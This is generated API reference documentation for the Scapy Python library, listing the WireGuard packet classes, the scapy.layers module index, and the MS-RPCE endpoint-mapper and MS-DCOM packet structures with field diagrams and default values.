+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                        ENCRYPTED STATIC                       |
+                                                               +
|                                                               |
+                                                               +
|                                                               |
+                                                               +
|                                                               |
+                                                               +
|                                                               |
+                                                               +
|                                                               |
+                                                               +
|                                                               |
+                                                               +
|                                                               |
+                                                               +
|                                                               |
+                                                               +
|                                                               |
+                                                               +
|                                                               |
+                                                               +
|                                                               |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                      ENCRYPTED TIMESTAMP                      |
+                                                               +
|                                                               |
+                                                               +
|                                                               |
+                                                               +
|                                                               |
+                                                               +
|                                                               |
+                                                               +
|                                                               |
+                                                               +
|                                                               |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                              MAC1                             |
+                                                               +
|                                                               |
+                                                               +
|                                                               |
+                                                               +
|                                                               |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                              MAC2                             |
+                                                               +
|                                                               |
+                                                               +
|                                                               |
+                                                               +
|                                                               |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

                     Fig. WireguardInitiation                     


WireguardInitiation fields






	sender_index

	XLEIntField

	0



	unencrypted_ephemeral

	XStrFixedLenField

	0



	encrypted_static

	XStrFixedLenField

	0



	encrypted_timestamp

	XStrFixedLenField

	0



	mac1

	XStrFixedLenField

	0



	mac2

	XStrFixedLenField

	0















	
class scapy.contrib.wireguard.WireguardResponse(_pkt, /, *, sender_index=0, receiver_index=0, unencrypted_ephemeral=0, encrypted_nothing=0, mac1=0, mac2=0)[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/wireguard.py#L52-L62]

	Bases: Packet


	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                          SENDER INDEX                         |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                         RECEIVER INDEX                        |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                     UNENCRYPTED EPHEMERAL                     |
+                                                               +
|                                                               |
+                                                               +
|                                                               |
+                                                               +
|                                                               |
+                                                               +
|                                                               |
+                                                               +
|                                                               |
+                                                               +
|                                                               |
+                                                               +
|                                                               |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                       ENCRYPTED NOTHING                       |
+                                                               +
|                                                               |
+                                                               +
|                                                               |
+                                                               +
|                                                               |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                              MAC1                             |
+                                                               +
|                                                               |
+                                                               +
|                                                               |
+                                                               +
|                                                               |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                              MAC2                             |
+                                                               +
|                                                               |
+                                                               +
|                                                               |
+                                                               +
|                                                               |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

                      Fig. WireguardResponse                      


WireguardResponse fields






	sender_index

	XLEIntField

	0



	receiver_index

	XLEIntField

	0



	unencrypted_ephemeral

	XStrFixedLenField

	0



	encrypted_nothing

	XStrFixedLenField

	0



	mac1

	XStrFixedLenField

	0



	mac2

	XStrFixedLenField

	0















	
class scapy.contrib.wireguard.WireguardTransport(_pkt, /, *, receiver_index=0, counter=0, encrypted_encapsulated_packet=None)[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/wireguard.py#L65-L72]

	Bases: Packet


	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                         RECEIVER INDEX                        |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                            COUNTER                            |
+                                                               +
|                                                               |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
| ENCRYPTED ENCAPSULATED PACKET |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

                     Fig. WireguardTransport                      


WireguardTransport fields






	receiver_index

	XLEIntField

	0



	counter

	XLELongField

	0



	encrypted_encapsulated_packet

	XStrField

	None

















            

          

      

      

    

  

    
      
          
            
  
scapy.layers package

Layer package.


Subpackages



	scapy.layers.msrpce package

	scapy.layers.tls package







Submodules



	scapy.layers.bluetooth

	scapy.layers.bluetooth4LE

	scapy.layers.can

	scapy.layers.clns

	scapy.layers.dcerpc

	scapy.layers.dhcp

	scapy.layers.dhcp6

	scapy.layers.dns

	scapy.layers.dot11

	scapy.layers.dot15d4

	scapy.layers.eap

	scapy.layers.gprs

	scapy.layers.gssapi

	scapy.layers.hsrp

	scapy.layers.http

	scapy.layers.inet

	scapy.layers.inet6

	scapy.layers.ipsec

	scapy.layers.ir

	scapy.layers.isakmp

	scapy.layers.kerberos

	scapy.layers.l2

	scapy.layers.l2tp

	scapy.layers.ldap

	scapy.layers.llmnr

	scapy.layers.lltd

	scapy.layers.mgcp

	scapy.layers.mobileip

	scapy.layers.netbios

	scapy.layers.netflow

	scapy.layers.ntlm

	scapy.layers.ntp

	scapy.layers.pflog

	scapy.layers.ppi

	scapy.layers.ppp

	scapy.layers.pptp

	scapy.layers.radius

	scapy.layers.rip

	scapy.layers.rtp

	scapy.layers.sctp

	scapy.layers.sixlowpan

	scapy.layers.skinny

	scapy.layers.smb

	scapy.layers.smb2

	scapy.layers.smbclient

	scapy.layers.smbserver

	scapy.layers.snmp

	scapy.layers.spnego

	scapy.layers.ssh

	scapy.layers.tftp

	scapy.layers.tuntap

	scapy.layers.usb

	scapy.layers.vrrp

	scapy.layers.vxlan

	scapy.layers.x509

	scapy.layers.zigbee









            

          

      

      

    

  

    
      
          
            
  
scapy.layers.msrpce package

[MS-RPCE] Remote Procedure Call Protocol Extensions

This module contains toolery to interact with Microsoft’s [MS-RPCE]
(DCE/RPC) extensions.

It contains the following modules:


	scapy.layers.msrpce.rpcclient: a MS-RPCE client


	scapy.layers.msrpce.rpcserver: a MS-RPCE server


	scapy.layers.msrpce.ept: DCE/RPC 1.1 endpoint mapper


	scapy.layers.msrpce.mspac: [MS-PAC], the PAC in Kerberos packets


	scapy.layers.msrpce.msnrpc: [MS-NRPC], a client and SSP


	scapy.layers.msnpce.raw: raw RPC classes





Submodules



	scapy.layers.msrpce.ept

	scapy.layers.msrpce.msdcom

	scapy.layers.msrpce.msnrpc

	scapy.layers.msrpce.mspac

	scapy.layers.msrpce.rpcclient

	scapy.layers.msrpce.rpcserver









            

          

      

      

    

  

    
      
          
            
  
scapy.layers.msrpce.ept

EPT map (EndPoinT mapper)


	
class scapy.layers.msrpce.ept.octet_string_t(_pkt, /, *, count=None, value=b'')[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/msrpce/ept.py#L42-L49]

	Bases: Packet


	
aliastypes

	




	
default_payload_class(_)[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/msrpce/ept.py#L48-L49]

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|             COUNT             |             VALUE             |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

                       Fig. octet_string_t                        


octet_string_t fields






	count

	FieldLenField

	None



	value

	StrLenField

	b''















	
class scapy.layers.msrpce.ept.prot_and_addr_t(_pkt, /, *, lhs_length=0, protocol_identifier=0, oid=b'', uuid=UUID('8a885d04-1ceb-11c9-9fe8-08002b104860'), version=0, lhs=b'', rhs_length=None, rhs=None)[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/msrpce/ept.py#L66-L172]

	Bases: Packet


	
aliastypes

	




	
default_payload_class(_)[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/msrpce/ept.py#L171-L172]

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|           LHS LENGTH          |PROTOCOL IDENTI|      OID      |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|               |                      UUID                     |
+-+-+-+-+-+-+-+-+                                               +
|                                                               |
+                                                               +
|                                                               |
+                                                               +
|                                                               |
+               +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|               |            VERSION            |      LHS      |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|               |           RHS LENGTH          |      RHS      |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|               |
+-+-+-+-+-+-+-+-+

                       Fig. prot_and_addr_t                       


prot_and_addr_t fields






	lhs_length

	LEShortField

	0



	protocol_identifier

	ByteEnumField

	0



	oid

	StrLenField (Cond)

	b''



	uuid

	UUIDEnumField (Cond)

	UUID('8a885d04-1ceb-11c9-9fe8-08002b104860')



	version

	LEShortField (Cond)

	0



	lhs

	StrLenField (Cond)

	b''



	rhs_length

	LEShortField

	None



	rhs

	MultipleTypeField (ShortField, IPField, LEShortField, StrLenField, StrLenField, StrLenField)

	b''















	
class scapy.layers.msrpce.ept.protocol_tower_t(_pkt, /, *, count=None, floors=[<prot_and_addr_t  |>])[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/msrpce/ept.py#L175-L219]

	Bases: Packet


	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|             COUNT             |             FLOORS            |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

                      Fig. protocol_tower_t                       


protocol_tower_t fields






	count

	FieldLenField

	None



	floors

	PacketListField

	[<prot_and_addr_t  |>]











	
mysummary()[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/msrpce/ept.py#L215-L219]

	










            

          

      

      

    

  

    
      
          
            
  
scapy.layers.msrpce.msdcom

[MS-DCOM]

https://learn.microsoft.com/en-us/openspecs/windows_protocols/ms-dcom/4a893f3d-bd29-48cd-9f43-d9777a4415b0


	
class scapy.layers.msrpce.msdcom.ActivationContextInfoData(_pkt, /, *, clientOK=0, bReserved1=0, dwReserved1=0, dwReserved2=0, pIFDClientCtx=None, pIFDPrototypeCtx=None)[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/msrpce/msdcom.py#L198-L213]

	Bases: NDRPacket


	
ALIGNMENT = (4, 8)

	




	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|            CLIENTOK           |           BRESERVED1          |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|          DWRESERVED1          |          DWRESERVED2          |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|         PIFDCLIENTCTX         |        PIFDPROTOTYPECTX       |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

                  Fig. ActivationContextInfoData                  


ActivationContextInfoData fields






	clientOK

	NDRSignedIntField

	0



	bReserved1

	NDRSignedIntField

	0



	dwReserved1

	NDRIntField

	0



	dwReserved2

	NDRIntField

	0



	pIFDClientCtx

	NDRFullPointerField

	None



	pIFDPrototypeCtx

	NDRFullPointerField

	None















	
class scapy.layers.msrpce.msdcom.ActivationPropertiesBlob(_pkt, /, *, dwSize=0, dwReserved=0, CustomHeader=<CustomHeader  classInfoClsid=<GUID  |> |>, Property=[])[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/msrpce/msdcom.py#L400-L409]

	Bases: Packet


	
aliastypes

	




	
default_payload_class(payload)[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/msrpce/msdcom.py#L408-L409]

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                             DWSIZE                            |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                           DWRESERVED                          |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|          CUSTOMHEADER         |            PROPERTY           |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

                  Fig. ActivationPropertiesBlob                   


ActivationPropertiesBlob fields






	dwSize

	LEIntField

	0



	dwReserved

	LEIntField

	0



	CustomHeader

	NDRSerializeType1PacketField

	<CustomHeader  classInfoClsid=<GUID  |> |>



	Property

	_ActivationPropertiesField

	[]















	
class scapy.layers.msrpce.msdcom.COSERVERINFO(_pkt, /, *, dwReserved1=0, pwszName=None, pdwReserved=None, dwReserved2=0)[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/msrpce/msdcom.py#L234-L241]

	Bases: NDRPacket


	
ALIGNMENT = (4, 8)

	




	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|          DWRESERVED1          |            PWSZNAME           |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|          PDWRESERVED          |          DWRESERVED2          |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

                        Fig. COSERVERINFO                         


COSERVERINFO fields






	dwReserved1

	NDRIntField

	0



	pwszName

	NDRFullPointerField

	None



	pdwReserved

	NDRFullPointerField

	None



	dwReserved2

	NDRIntField

	0















	
class scapy.layers.msrpce.msdcom.CustomHeader(_pkt, /, *, totalSize=0, headerSize=0, dwReserved=0, destCtx=0, cIfs=0, classInfoClsid=<GUID  |>, pclsid=None, pSizes=None, pdwReserved=None)[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/msrpce/msdcom.py#L347-L369]

	Bases: NDRPacket


	
ALIGNMENT = (4, 8)

	




	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|           TOTALSIZE           |           HEADERSIZE          |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|           DWRESERVED          |            DESTCTX            |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|              CIFS             |         CLASSINFOCLSID        |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|             PCLSID            |             PSIZES            |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|          PDWRESERVED          |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

                        Fig. CustomHeader                         


CustomHeader fields






	totalSize

	NDRIntField

	0



	headerSize

	NDRIntField

	0



	dwReserved

	NDRIntField

	0



	destCtx

	NDRIntField

	0



	cIfs

	NDRIntField

	0



	classInfoClsid

	NDRPacketField

	<GUID  |>



	pclsid

	NDRFullPointerField

	None



	pSizes

	NDRFullPointerField

	None



	pdwReserved

	NDRFullPointerField

	None















	
class scapy.layers.msrpce.msdcom.DCOM_Client(verb=True, **kwargs)[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/msrpce/msdcom.py#L469-L511]

	Bases: DCERPC_Client

A wrapper of DCERPC_Client that adds functions to use COM interfaces.

In this client, the DCE/RPC is abstracted to allow to focus on the upper
DCOM one. DCE/RPC interfaces are bound automatically and ORPCTHIS/ORPCTHAT
automatically added/extracted.

It also provides common handlers for the few [MS-DCOM] special interfaces.


	
ServerAlive2()[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/msrpce/msdcom.py#L489-L511]

	Call IObjectExporter::ServerAlive2






	
connect(*args, **kwargs)[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/msrpce/msdcom.py#L485-L487]

	








	
class scapy.layers.msrpce.msdcom.DUALSTRINGARRAY(_pkt, /, *, wNumEntries=0, wSecurityOffset=0, aStringArray=<NDRConformantString  value=b'' |>)[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/msrpce/msdcom.py#L258-L267]

	Bases: NDRPacket


	
ALIGNMENT = (4, 8)

	




	
CONFORMANT_COUNT = 1

	




	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|          WNUMENTRIES          |        WSECURITYOFFSET        |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|          ASTRINGARRAY         |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

                       Fig. DUALSTRINGARRAY                       


DUALSTRINGARRAY fields






	wNumEntries

	NDRShortField

	0



	wSecurityOffset

	NDRShortField

	0



	aStringArray

	NDRConfStrLenFieldUtf16

	<NDRConformantString  value=b'' |>















	
class scapy.layers.msrpce.msdcom.InstanceInfoData(_pkt, /, *, fileName=None, mode=0, ifdROT=None, ifdStg=None)[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/msrpce/msdcom.py#L147-L160]

	Bases: NDRPacket


	
ALIGNMENT = (4, 8)

	




	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|            FILENAME           |              MODE             |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|             IFDROT            |             IFDSTG            |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

                      Fig. InstanceInfoData                       


InstanceInfoData fields






	fileName

	NDRFullPointerField

	None



	mode

	NDRIntField

	0



	ifdROT

	NDRFullPointerField

	None



	ifdStg

	NDRFullPointerField

	None















	
class scapy.layers.msrpce.msdcom.InstantiationInfoData(_pkt, /, *, classId=<GUID  |>, classCtx=0, actvflags=0, fIsSurrogate=0, cIID=0, instFlag=0, pIID=None, thisSize=0, clientCOMVersion=<COMVERSION  |>)[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/msrpce/msdcom.py#L103-L120]

	Bases: NDRPacket


	
ALIGNMENT = (4, 8)

	




	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|            CLASSID            |            CLASSCTX           |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|           ACTVFLAGS           |          FISSURROGATE         |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|              CIID             |            INSTFLAG           |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|              PIID             |            THISSIZE           |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|        CLIENTCOMVERSION       |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

                    Fig. InstantiationInfoData                    


InstantiationInfoData fields






	classId

	NDRPacketField

	<GUID  |>



	classCtx

	NDRIntField

	0



	actvflags

	NDRIntField

	0



	fIsSurrogate

	NDRSignedIntField

	0



	cIID

	NDRIntField

	0



	instFlag

	NDRIntField

	0



	pIID

	NDRFullPointerField

	None



	thisSize

	NDRIntField

	0



	clientCOMVersion

	NDRPacketField

	<COMVERSION  |>















	
class scapy.layers.msrpce.msdcom.LocationInfoData(_pkt, /, *, machineName=None, processId=0, apartmentId=0, contextId=0)[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/msrpce/msdcom.py#L219-L228]

	Bases: NDRPacket


	
ALIGNMENT = (4, 8)

	




	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|          MACHINENAME          |           PROCESSID           |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|          APARTMENTID          |           CONTEXTID           |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

                      Fig. LocationInfoData                       


LocationInfoData fields






	machineName

	NDRFullPointerField

	None



	processId

	NDRIntField

	0



	apartmentId

	NDRIntField

	0



	contextId

	NDRIntField

	0















	
class scapy.layers.msrpce.msdcom.OBJREF(_pkt, /, *, signature=b'MEOW', flags=4, iid=UUID('000001a2-0000-0000-c000-000000000046'))[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/msrpce/msdcom.py#L415-L420]

	Bases: Packet


	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                           SIGNATURE                           |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                             FLAGS                             |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                              IID                              |
+                                                               +
|                                                               |
+                                                               +
|                                                               |
+                                                               +
|                                                               |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

                           Fig. OBJREF                            


OBJREF fields






	signature

	XStrFixedLenField

	b'MEOW'



	flags

	LEIntField

	4



	iid

	XStrFixedLenField

	UUID('000001a2-0000-0000-c000-000000000046')











	
payload_guess

	Possible sublayers:
OBJREF_CUSTOM










	
class scapy.layers.msrpce.msdcom.OBJREF_CUSTOM(_pkt, /, *, clsid=UUID('00000338-0000-0000-c000-000000000046'), cbExtension=0, reserved=0, pObjectData=<ActivationPropertiesBlob  CustomHeader=<CustomHeader  classInfoClsid=<GUID  |> |> |>)[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/msrpce/msdcom.py#L426-L434]

	Bases: Packet


	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                             CLSID                             |
+                                                               +
|                                                               |
+                                                               +
|                                                               |
+                                                               +
|                                                               |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                          CBEXTENSION                          |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                            RESERVED                           |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|          POBJECTDATA          |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

                        Fig. OBJREF_CUSTOM                        


OBJREF_CUSTOM fields






	clsid

	UUIDField

	UUID('00000338-0000-0000-c000-000000000046')



	cbExtension

	LEIntField

	0



	reserved

	LEIntField

	0



	pObjectData

	PacketField

	<ActivationPropertiesBlob  CustomHeader=<CustomHeader  classInfoClsid=<GUID  |> |> |>















	
class scapy.layers.msrpce.msdcom.PropsOutInfo(_pkt, /, *, cIfs=0, piid=None, phresults=None, ppIntfData=None)[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/msrpce/msdcom.py#L313-L341]

	Bases: NDRPacket


	
ALIGNMENT = (4, 8)

	




	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|              CIFS             |              PIID             |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|           PHRESULTS           |           PPINTFDATA          |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

                        Fig. PropsOutInfo                         


PropsOutInfo fields






	cIfs

	NDRIntField

	0



	piid

	NDRFullPointerField

	None



	phresults

	NDRFullPointerField

	None



	ppIntfData

	NDRFullPointerField

	None















	
class scapy.layers.msrpce.msdcom.SECURITYBINDING(_pkt, /, *, wAuthnSvc=0, Reserved=65535, aPrincName=b'')[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/msrpce/msdcom.py#L453-L463]

	Bases: Packet


	
aliastypes

	




	
default_payload_class(payload)[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/msrpce/msdcom.py#L462-L463]

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|           WAUTHNSVC           |            RESERVED           |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|           APRINCNAME          |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

